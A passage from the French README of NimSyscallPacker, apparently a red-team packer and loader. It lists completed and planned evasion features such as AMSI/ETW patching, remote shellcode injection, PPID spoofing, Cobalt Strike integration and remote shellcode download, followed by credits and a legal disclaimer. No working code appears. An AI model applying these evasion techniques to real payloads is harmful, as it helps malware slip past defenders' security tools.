- Les linkers MinGW-w64 plus récents (11+) utilisent par défaut une base d'image PE élevée qui casse les liens `-static` avec `relocation truncated to fit: R_X86_64_32S against .bss`. Le packer passe maintenant `-Wl,--image-base=0x10000` à la commande de compilation du chargeur généré pour contourner cela. Si vous construisez des binaires Nim+statiques autonomes avec cette pile, vous pourriez avoir besoin du même flag.
## À FAIRE
- [x] PELoader via syscalls
- [x] Support Hellsgate
- [X] Charger uniquement les bibliothèques Winim nécessaires
- [x] Patching AMSI/ETW de processus distant basé sur [SnD_AMSI](https://github.com/whydee86/SnD_AMSI)
- [X] Utiliser des syscalls pour le patching distant
- [X] Charger à distance la DLL "à patcher" (ntdll ou amsi.dll) dans le processus distant avant le patching (sinon cela ne nous aidera pas)
- [x] Support Hellsgate pour l'injection de shellcode distant + PELoading
- [X] Sortie DLL
- [X] Capacités de Sideloading DLL
- [X] Sortie PowerShell
- [X] Sortie C#
- [X] Plus de syscalls et/ou D/Invoke pour les fonctions win32
- [X] Intégration Cobalt Strike - CNA
- [ ] Passage de paramètres via par exemple manipulation du champ PEB (spoofing de ligne de commande)
- [X] Passage de paramètres via patching de fonction d'importation API
- [X] Chiffrement mémoire du shellcode via Sleep Hook [comme ShellcodeFluctuation](https://github.com/mgeeky/ShellcodeFluctuation)
- [X] Appel des fonctions Windows 'GetConsoleWindow' et 'ShowWindow' après la création du processus et le chargement des hooks de l'EDR, puis modification des attributs de la fenêtre en caché au lieu des flags de compilation GUI
- [X] Plus de pauses entre certains stubs potentiellement critiques
- [X] Définir un processus distant personnalisé à lancer avant d'injecter dedans (actuellement c'est notepad en dur)
- [X] Spoofing PPID pour les processus nouvellement créés
- [X] BlockDLLs pour les nouveaux processus
- [X] Contournement AMSI sans patch (ex. https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] Contournement AMSI via hook NtCreateSection (ex. https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] Plus de patching ETW pour EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull
- [X] Support des binaires de service, comme https://github.com/enthus1ast/nimWindowsService/
- [X] Interrupteur de détournement DLL pour DLLMain avec attachement de processus
- [X] Correction des bugs de cast x86
- [ ] Support Wow64
- [X] Ajouter `--pump` des octets nuls entre comme https://gitlab.com/ORCA000/entropyfix (À tester, peut causer des crashes)
- [X] Fichiers de sortie CPL
- [ ] Option de requêtes HTTP leurres
- [X] Télécharger le shellcode depuis un serveur web ou le lire depuis un fichier local comme alternative à l'intégration (par défaut)
- [X] Utiliser plus de flags du compilateur pour écraser dynlib afin d'éviter les IoC de fonctions et réduire la taille `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo --disable-reloc-section" --dynlibOverrideAll`
- [X] Utiliser des handles clonés au lieu de OpenProcess (comme Handlekatz) pour l'injection de processus distant ou comme alternative à l'élévation de handle
- [X] Élévation de handle
- [X] Ajouter ThreadlessInject pour l'injection distante
- [ ] Ajouter des primitives d'exécution de callback pour l'injection distante via un port Nim de https://github.com/lem0nSec/CreateRemoteThreadPlus
- [X] Stocker les charges utiles en tant qu'adresses MAC ou IP et récupérer la charge utile cryptée à l'exécution pour réduire l'entropie
- [X] Ajouter plusieurs sauts pour différentes régions dans l'adresse de démarrage du thread (comme DripLoader) pour éviter les détections de scan mémoire (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)
## CRÉDITS
- [X] [@WhyDee86](https://twitter.com/WhyDee86) - Fonction Sleep + module de bibliothèque de processus distant + code initial des arguments codés en dur
- [X] [@chvancooten](https://twitter.com/chvancooten) - Strenc personnalisé + inspiration de son Packer Nim
- [X] [@lefayjey](https://github.com/lefayjey) - Sortie DLL + contribution de script CNA
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) - CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) - NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) - Donut
- [X] [@icyguider](https://github.com/icyguider) - Inspiration
- [X] [Tylous](https://github.com/Tylous/) - LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) - Patch AMSI/ETW de 1 octet + idées d'évasion SandBox
- [X] [glynx](https://github.com/glynx) - Pull Request pour les arguments codés en dur de Nim-RunPE
- [X] [moloch--](https://github.com/moloch--) - Denim
- [X] [EdgeBalci](https://github.com/EgeBalci) - SGN
- [X] [monoxgas](https://github.com/monoxgas) - Koppeling
- [X] [eversinc33](https://github.com/eversinc33) - BouncyGate, Docker File
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) - Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) - Idée de Stomb+Threadless inject
- [X] [DrDv](https://github.com/DrorDvash) - Générateur de ligne de commande
## Avertissement légal :
L'utilisation de NimSyscallPacker pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de se conformer à toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou des dommages causés par ce programme. À utiliser uniquement à des fins éducatives.